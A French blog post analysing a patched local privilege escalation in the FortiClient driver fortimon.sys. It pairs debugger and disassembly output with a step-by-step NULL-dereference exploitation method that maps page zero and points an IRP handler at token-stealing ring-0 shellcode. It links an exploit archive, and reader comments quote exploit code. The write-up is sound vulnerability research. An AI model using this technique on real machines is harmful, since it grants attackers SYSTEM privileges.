Fortinet FortiClient Local Privilege Escalation

février 28th, 2008 at 09:03 admin

Récemment on m’a demandé de jeter un oeil pour exploiter une vuln dans un driver paru il n’y a pas longtemps. Comme je me faisais un peu chier ces temps-ci (comme tout bon étudiant en fait :]), d’ailleurs je me fais tellement chier que je le lis le blog de nono mais ca c’est un autre problème. Anyway, la vuln a été révélé le 13 Février et patchée depuis, pas grave, il y a toujours du challenge, l’adviso publié par Ruben Santamarta concernait un driver du HIPS Forticlient. Je vous propose donc dans ce post de voir et de comprendre d’ou vient la vuln puis de l’exploiter, woOot wOot!

Ce qui est cool c’est que l’adviso nous donne suffisamment d’info pour savoir ou chercher, extrait :

3. Fortinet FortiClient Local Privilege Escalation.

Fortinet Endpoint Solution For Enterprise, FortiClient is prone to a local privilege escalation due to the improper device filtering carried out by its filter driver, fortimon.sys .

The driver affected filters certain devices, enabling pass-through filtering. However, its own Device’s DeviceExtension is not correclty initialized so any logged user could force the kernel to operate with user-mode controlled memory just by direclty issuing a special request to the driver’s device.

This leads to local arbitrary code execution in the context of the kernel. Even Guest users can elevate privileges to SYSTEM.

On connait le nom du driver vulnérable, fortimon.sys, qu’il est de type file system filter driver et que une des structures appelée DeviceExtension est mal initialisée ce qui peut permettre une exploitation depuis l’user-land. Un file system filter driver est un module qui va surveiller les requètes (IRP) envoyées aux drivers filesytem, aussi bien le NTFS que le CDFS, il peut servir par exemple à controler l’ouverture des fichiers, ce genre de drivers est souvent utilisé par les soft d’anti-virus pour faire leurs contrôles.

Ok c’est partit, on choppe une version vuln du soft, ici par exemple et on commence à l’installer. Après installation on voit que ce soft est une usine a gaz avec des trucs dans tous les sens qui clignotent en vert et jaune et qui fait « ouinz ouinz, h4ck3rZ 4re st34l1nG y0ur m3g4hUrTz !!11″ toutes les 2 secondes. Bref c’est juste bon à tester en VM.

Alors, on commence à disass le drv fortimon.sys puis on lance le HIPS en VM. Sous Winobj on voit un device \device\fortimon, hop regardons de quel driver il provient.

kd> !devobj \device\fortimon
Device object (80f047d8) is for:
 FortiMon*** ERROR: Module load completed but symbols could not be loaded for fortimon.sys
 \FileSystem\FAFileMon DriverObject 80f04948
Current Irp 00000000 RefCount 3 Type 00000022 Flags 00000040
Dacl e129a6c4 DevExt 80f04890 DevObjExt 80f048d8
ExtensionFlags (0000000000)
Device queue is not busy.

kd> !drvobj \FileSystem\FAFileMon
Driver object (80f04948) is for:
 \FileSystem\FAFileMon
Driver Extension List: (id , addr)

Device Object list:
ff8ca768  ffbbed10  ff877aa8  80e85678
ffa59a80  80dc0ed0  80dc7760  80dc79f8
80eb3110  80edab88  80f03ba0  80f047d8

kd> !drvobj \FileSystem\FAFileMon 3
Driver object (80f04948) is for:
 \FileSystem\FAFileMon
Driver Extension List: (id , addr)

Device Object list:
ff8ca768  ffbbed10  ff877aa8  80e85678
ffa59a80  80dc0ed0  80dc7760  80dc79f8
80eb3110  80edab88  80f03ba0  80f047d8

DriverEntry:   fa9f6bdc	fortimon
DriverStartIo: 00000000
DriverUnload:  00000000
AddDevice:     00000000	

Dispatch routines:
[00] IRP_MJ_CREATE                      fa9f5aac	fortimon+0xaac
[01] IRP_MJ_CREATE_NAMED_PIPE           fa9f5764	fortimon+0x764
[02] IRP_MJ_CLOSE                       fa9f642c	fortimon+0x142c
[03] IRP_MJ_READ                        fa9f5764	fortimon+0x764
[04] IRP_MJ_WRITE                       fa9f6654	fortimon+0x1654
[05] IRP_MJ_QUERY_INFORMATION           fa9f5764	fortimon+0x764
[06] IRP_MJ_SET_INFORMATION             fa9f5aac	fortimon+0xaac
[07] IRP_MJ_QUERY_EA                    fa9f5764	fortimon+0x764
[08] IRP_MJ_SET_EA                      fa9f5764	fortimon+0x764
[09] IRP_MJ_FLUSH_BUFFERS               fa9f5764	fortimon+0x764
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    fa9f5764	fortimon+0x764
[0b] IRP_MJ_SET_VOLUME_INFORMATION      fa9f5764	fortimon+0x764
[0c] IRP_MJ_DIRECTORY_CONTROL           fa9f5764	fortimon+0x764
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         fa9f5782	fortimon+0x782
[0e] IRP_MJ_DEVICE_CONTROL              fa9f5764	fortimon+0x764
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     fa9f5764	fortimon+0x764
[10] IRP_MJ_SHUTDOWN                    fa9f5764	fortimon+0x764
[11] IRP_MJ_LOCK_CONTROL                fa9f5764	fortimon+0x764
[12] IRP_MJ_CLEANUP                     fa9f6606	fortimon+0x1606
[13] IRP_MJ_CREATE_MAILSLOT             fa9f5764	fortimon+0x764
[14] IRP_MJ_QUERY_SECURITY              fa9f5764	fortimon+0x764
[15] IRP_MJ_SET_SECURITY                fa9f5764	fortimon+0x764
[16] IRP_MJ_POWER                       fa9f5764	fortimon+0x764
[17] IRP_MJ_SYSTEM_CONTROL              fa9f5764	fortimon+0x764
[18] IRP_MJ_DEVICE_CHANGE               fa9f5764	fortimon+0x764
[19] IRP_MJ_QUERY_QUOTA                 fa9f5764	fortimon+0x764
[1a] IRP_MJ_SET_QUOTA                   fa9f5764	fortimon+0x764
[1b] IRP_MJ_PNP                         fa9f5764	fortimon+0x764

Fast I/O routines:
FastIoCheckIfPossible                   fa9f6d7a	fortimon+0x1d7a
FastIoRead                              fa9f6dbe	fortimon+0x1dbe
FastIoWrite                             fa9f6e02	fortimon+0x1e02
FastIoQueryBasicInfo                    fa9f6e6c	fortimon+0x1e6c
FastIoQueryStandardInfo                 fa9f6ea6	fortimon+0x1ea6
FastIoLock                              fa9f6ee0	fortimon+0x1ee0
FastIoUnlockSingle                      fa9f6f26	fortimon+0x1f26
FastIoUnlockAll                         fa9f6f66	fortimon+0x1f66
FastIoUnlockAllByKey                    fa9f6f9e	fortimon+0x1f9e
FastIoDeviceControl                     fa9f714c	fortimon+0x214c
FastIoDetachDevice                      fa9f74e6	fortimon+0x24e6
FastIoQueryNetworkOpenInfo              fa9f7558	fortimon+0x2558
MdlRead                                 fa9f7592	fortimon+0x2592
MdlReadComplete                         fa9f75d2	fortimon+0x25d2
PrepareMdlWrite                         fa9f7606	fortimon+0x2606
MdlWriteComplete                        fa9f7666	fortimon+0x2666
FastIoReadCompressed                    fa9f76bc	fortimon+0x26bc
FastIoWriteCompressed                   fa9f7706	fortimon+0x2706
MdlReadCompleteCompressed               fa9f776e	fortimon+0x276e
MdlWriteCompleteCompressed              fa9f77a0	fortimon+0x27a0
FastIoQueryOpen                         fa9f77f6	fortimon+0x27f6

Okai, le driver s’appel \FileSystem\FAFileMon, il possède 12 devices sur ma box. Il gère les MajorsFunctions de type :
IRP_MJ_CREATE
IRP_MJ_CLOSE
IRP_MJ_WRITE
IRP_MJ_SET_INFORMATION
IRP_MJ_FILE_SYSTEM_CONTROL
IRP_MJ_CLEANUP
La routine des autres MajorFunctions en 0xfa9f5764, sert juste à dispacher les IRP aux devices en dessous. Remarquez l’ensemble des routines de type Fast I/O qui sert lors d’appels synchrones.

En fait le driver va utiliser l’API IoRegisterFsRegistrationChange pour enregistrer une fonction de callback qui va servir à attacher un device sur sa device stack afin de filtrer ses IRP. C’est pour cela qu’il y a autant de devices, ils sont attachés à tous les devices gérant des systèmes de fichiers.

Maintenant regardons sous IDA l’initialisation du premier device, celui qui permet une communication avec l’user-land et qui doit d’être nommé. Ici il s’appel \\.\FortiMon. Ce genre de device est de type CDO (Control Device Object) contrairement aux autres devices unamed ici qui sont des FiDO (Filter Device Object) le CDO à pour rôle de recevoir des ordres depuis le user-land sous forme d’IOCTL.

; int __stdcall sub_104CE(PDRIVER_OBJECT DriverObject)
sub_104CE proc near

SymbolicLinkName= UNICODE_STRING ptr -14h
DestinationString= UNICODE_STRING ptr -0Ch
DeviceObject= dword ptr -4
DriverObject= dword ptr  8

push    ebp
mov     ebp, esp
sub     esp, 14h
push    esi
mov     esi, ds:RtlInitUnicodeString
push    offset SourceString ; "\\Device\\FortiMon"
lea     eax, [ebp+DestinationString]
push    eax             ; DestinationString
call    esi ; RtlInitUnicodeString
push    offset aDosdevicesFort ; "\\DosDevices\\FortiMon"
lea     eax, [ebp+SymbolicLinkName]
push    eax             ; DestinationString
call    esi ; RtlInitUnicodeString
lea     eax, [ebp+DeviceObject]
push    eax             ; DeviceObject
push    0               ; Exclusive
push    0               ; DeviceCharacteristics
push    22h             ; DeviceType
lea     eax, [ebp+DestinationString]
push    eax             ; DeviceName
push    44h             ; DeviceExtensionSize
push    [ebp+DriverObject] ; DriverObject
call    ds:IoCreateDevice
mov     esi, eax
test    esi, esi
jl      short loc_1054D

lea     eax, [ebp+DestinationString]
push    eax             ; DeviceName
lea     eax, [ebp+SymbolicLinkName]
push    eax             ; SymbolicLinkName
call    ds:IoCreateSymbolicLink
mov     esi, eax
test    esi, esi
jl      short loc_10544

mov     eax, [ebp+DeviceObject]
mov     edx, [eax+28h] ; DeviceExtension
push    edi
push    11h
pop     ecx
xor     eax, eax ;eax=0
mov     edi, edx
rep stosd ; <=> memset(DeviceExtension, 0, 0x11*4)
mov     dword ptr [edx+4], 1
mov     eax, [ebp+DeviceObject]
mov     [edx+8], eax
pop     edi
jmp     short loc_1054D

[...]

Okaj, le device est créé et recoit une structure DeviceExtension. A quoi ca sert ? En gros l’I/O manager fournit au développeur un champ unique pour chaque device lui permettant de stocker de données. Dans le cas d’un FiDO le DeviceExtension sert à contenir un pointeur sur le device attaché afin de pouvoir lui retransmettre les IRP.

C’est de la que vient la vuln, en effet le CDO ne filtrant pas d’IRP mais en recevant uniquement n’a pas besoin d’avoir de DeviceExtension or ici il en reçoit une qui est initialisé à 0.

Il faut savoir que les MajorFunctions ne font pas la différence entre les devices, ce que je veux dire, c’est que si le CDO reçoit une IRP sur la MajorFunction IRP_MJ_CREATE, du fait que le driver à un rôle de filtre l’IRP sera transmise au device en dessous. Et c’est bien là le gros problème, car le pointeur sur le device en dessous est stocké dans la DeviceExtenion or pour le CDO de ce driver celle-ci est nulle !! KABOOM !!!

Pour que vous compreniez mieux voiçi un code qui représente une MajorFunction qui envoie directement l’IRP au device suivant.

//dispatch down an IRP
NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
    ULONG Status;

    IoSkipCurrentIrpStackLocation(pIrp);

    Status=IoCallDriver(((PDEVICE_EXTENSION)pDeviceObject->DeviceExtension)->AttachedToDeviceObject, pIrp);

    return Status;
}

Avec le fortimon.sys comme la DeviceExtension est nulle, la fonction IoCallDriver va tenter d’appeler la fonction d’un driver qui n’existe pas. Reste à exploiter cela …

On a IoCallDriver qui est de prototype :
NTSTATUS
IoCallDriver(
IN PDEVICE_OBJECT DeviceObject,
IN OUT PIRP Irp
);

On sait que le param DeviceObject sera NULL. L’idée consiste donc à allouer une page mémoire commençant à l’adresse 0×00000000. Il suffit ensuite de mettre dans cette zone mémoire les bonnes valeurs aux bons endroits pour réussir notre exploitation. Pour ce faire, on va disass IoCallDriver

kd> u IoCallDriver
nt!IoCallDriver:
8052dce4 8bff            mov     edi,edi
8052dce6 55              push    ebp
8052dce7 8bec            mov     ebp,esp
8052dce9 8b550c          mov     edx,dword ptr [ebp+0Ch]
8052dcec 8b4d08          mov     ecx,dword ptr [ebp+8]
8052dcef ff15002b5580    call    dword ptr [nt!pIofCallDriver (80552b00)]
8052dcf5 5d              pop     ebp
8052dcf6 c20800          ret     8

kd> uf nt!IopfCallDriver
nt!IopfCallDriver:
804e37d0 fe4a23          dec     byte ptr [edx+23h] ; edx=IRP, IRP->CurrentLocation--
804e37d3 8a4223          mov     al,byte ptr [edx+23h]
804e37d6 84c0            test    al,al ; si CurrentLocation <=0
804e37d8 0f8ec6850300    jle     nt!IopfCallDriver+0xa (8051bda4)

nt!IopfCallDriver+0x18:
804e37de 8b4260          mov     eax,dword ptr [edx+60h] ; current I/O stack location
804e37e1 83e824          sub     eax,24h
804e37e4 56              push    esi
804e37e5 894260          mov     dword ptr [edx+60h],eax ; next stack location
804e37e8 894814          mov     dword ptr [eax+14h],ecx ; ecx=DeviceObject
804e37eb 0fb600          movzx   eax,byte ptr [eax] ;eax=MajorFunction indice
804e37ee 8b7108          mov     esi,dword ptr [ecx+8] ;esi=DriverObject
804e37f1 52              push    edx
804e37f2 51              push    ecx
804e37f3 ff548638        call    dword ptr [esi+eax*4+38h] ;DriverObject.MajorFunction[eax]
804e37f7 5e              pop     esi
804e37f8 c3              ret

kd> dt nt!_DEVICE_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Uint2B
   +0x004 ReferenceCount   : Int4B
   +0x008 DriverObject     : Ptr32 _DRIVER_OBJECT
   +0x00c NextDevice       : Ptr32 _DEVICE_OBJECT
   +0x010 AttachedDevice   : Ptr32 _DEVICE_OBJECT
   +0x014 CurrentIrp       : Ptr32 _IRP
   +0x018 Timer            : Ptr32 _IO_TIMER
   +0x01c Flags            : Uint4B
   +0x020 Characteristics  : Uint4B
   +0x024 Vpb              : Ptr32 _VPB
   +0x028 DeviceExtension  : Ptr32 Void
   +0x02c DeviceType       : Uint4B
   +0x030 StackSize        : Char
   +0x034 Queue            : __unnamed
   +0x05c AlignmentRequirement : Uint4B
   +0x060 DeviceQueue      : _KDEVICE_QUEUE
   +0x074 Dpc              : _KDPC
   +0x094 ActiveThreadCount : Uint4B
   +0x098 SecurityDescriptor : Ptr32 Void
   +0x09c DeviceLock       : _KEVENT
   +0x0ac SectorSize       : Uint2B
   +0x0ae Spare1           : Uint2B
   +0x0b0 DeviceObjectExtension : Ptr32 _DEVOBJ_EXTENSION
   +0x0b4 Reserved         : Ptr32 Void

kd> dt nt!_DRIVER_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT
   +0x008 Flags            : Uint4B
   +0x00c DriverStart      : Ptr32 Void
   +0x010 DriverSize       : Uint4B
   +0x014 DriverSection    : Ptr32 Void
   +0x018 DriverExtension  : Ptr32 _DRIVER_EXTENSION
   +0x01c DriverName       : _UNICODE_STRING
   +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
   +0x028 FastIoDispatch   : Ptr32 _FAST_IO_DISPATCH
   +0x02c DriverInit       : Ptr32     long
   +0x030 DriverStartIo    : Ptr32     void
   +0x034 DriverUnload     : Ptr32     void
   +0x038 MajorFunction    : [28] Ptr32     long

Attention IopfCallDriver est convention d’appel FastCall, les params sont passés par ecx et edx. IopfCallDriver va donc prendre le DeviceObject et retrouvé à quel DriverObject il appartient, si la page qu’on alloue est mise à 0, on est sur que le DriverObject sera null lui aussi. Ensuite la fonction va appeler la MajorFunction en fonction du type d’IRP avec l’instruction : call dword ptr [esi+eax*4+38h] (esi=DriverOBject, eax=MajorFunction).

Comme nous pouvons choisir le type d’IRP que nous envoyons sur le CDO, on peut connaître la valeur de eax et donc choisir ce que va contenir [esi+eax*4+38h] et qu’est ce qu’on y met ? L’adresse d’un joli shellcode ring0 wOot !

Dans mon exploit j’ai choisit d’utiliser la MajorFunction IRP_MJ_FILE_SYSTEM_CONTROL envoyé par l’API native ZwFsControlFile. En fait j’ai eu un peu de mal à éviter les Fast I/O car si la requête passe dans ce genre de routine l’exploitation ne marchera pas, va falloir que je lise de la doc dessus.

Donc sachant que IRP_MJ_FILE_SYSTEM_CONTROL=0xD, il suffit de mettre à l’adresse 0+0xd*4+0×38 un pointeur sur notre shellcode qui modif le token du process courant par celui du process system et c’est bon, on a notre local privilege escalation :]

En tout ca le sploit que je vous fournis fonctionne très bien et vous le trouverez ici :
http://ivanlef0u.fr/repo/fortimon.rar

Voilà, voilà, j’espère que vous avez compris dans l’ensemble le principe de l’exploitation, n’hesitez pas à poser des questions.

Entry Filed under: RE

6 Comments

  • 1. mxatone  |  février 28th, 2008 at 22:22

    Bonne analyse de cette vulnérabilité. Comme tu sais je suis fan de tout ce qui est exploitation surtout quand ça concerne un contexte comme le kernel. Une bonne introduction a l’exploitation des NULL défèrence dans le kernel.

    Ne sous estimez pas les NULL deference :

    Microsoft Windows Vista Local Privilege Escalation Vulnerability (MS07-066):
    http://www.microsoft.com/technet/security/bulletin/MS07-066.mspx

    Une erreur suffit ! ;)


  • 2. wo  |  février 28th, 2008 at 22:59

    Superbe intro pour moi à ce type de faille que je ne connaissais pas.

    nj as usual


  • 3. Ruben  |  mars 6th, 2008 at 16:13

    Neat analysis :)


  • 4. rootkited  |  juillet 2nd, 2008 at 01:47

    dsl d’avoir remonté le topic.
    merci pour ce demo
    mais j’ai quelques questions si vous me permettez ?

    dans le code source (l’exploit)

    PVOID AllocateAddr=(PVOID)1;

    0×200; pointe à l’adresse mémoire 1 ?

    l’autre probléme c’est celui la. t’es sur que c’est du language c (lol).

    //somewhere in nowhere …
    ((PULONG)0)[0xD*4+0x38]=0×200;

    voulez bien expliquez cette ligne ?
    pkoi (PULONG)0 ?
    alors que AllocateAddr débute à l’adresse mémoire 1.
    ensuite appliqué au [0xD*4+0x38] ?

    et égale 0×200 ? pkoi

    j’ai passé pas mal de temps à l’interpréter mais je pige keudale.

    thanks


  • 5. admin  |  juillet 2nd, 2008 at 10:43

    PVOID AllocateAddr=(PVOID)1; C’est pour dire que AllocateAddr est egal à 1 tout simplement, puisque si on met une valeur de mémoire nulle à ZwAllocateVirtualMemory il aime pas (à vérifier pourquoi), donc on met 1 et du fait de la granularité des pages on alloue la page 0. La valeur 0×200 est complètement arbitraire.

    Après je copie le shellcode en 0×200 avec un memcpy. Je place ensuite à l’adresse 0+0xD*4+0×38 un pointeur sur le shellcode donc 0×200 parce que le code va confondre la structure qui commence en 0 avec une structure DRIVER_OBJECT qui contient en 0×38 un tableau de pointeurs de fonctions sur les handlers d’IRP. C’est ainsi que le driver buggé va utiliser ce pointeur pour appeler le handler et donc notre shellcode …

    C’est plus clair j’espère ?


  • 6. rootkited  |  juillet 2nd, 2008 at 12:06

    merci pour l’explication.

    « on met 1 et du fait de la granularité des pages on alloue la page 0. La valeur 0×200 est complètement arbitraire. »

    ca m’a bien aidé.

    et juste pour remarque ce serait bien que tu trouves un moyen de mettre en evidence la ou les ligne(s) importante(s) dans le listing (debuggeur) de kd ca permet au lecteur de se focaliser sur les points importants.

    thanks for this great work.


Trackback this post


Calendar

septembre 2020
L Ma Me J V S D
« fév    
 123456
78910111213
14151617181920
21222324252627
282930  

Most Recent Posts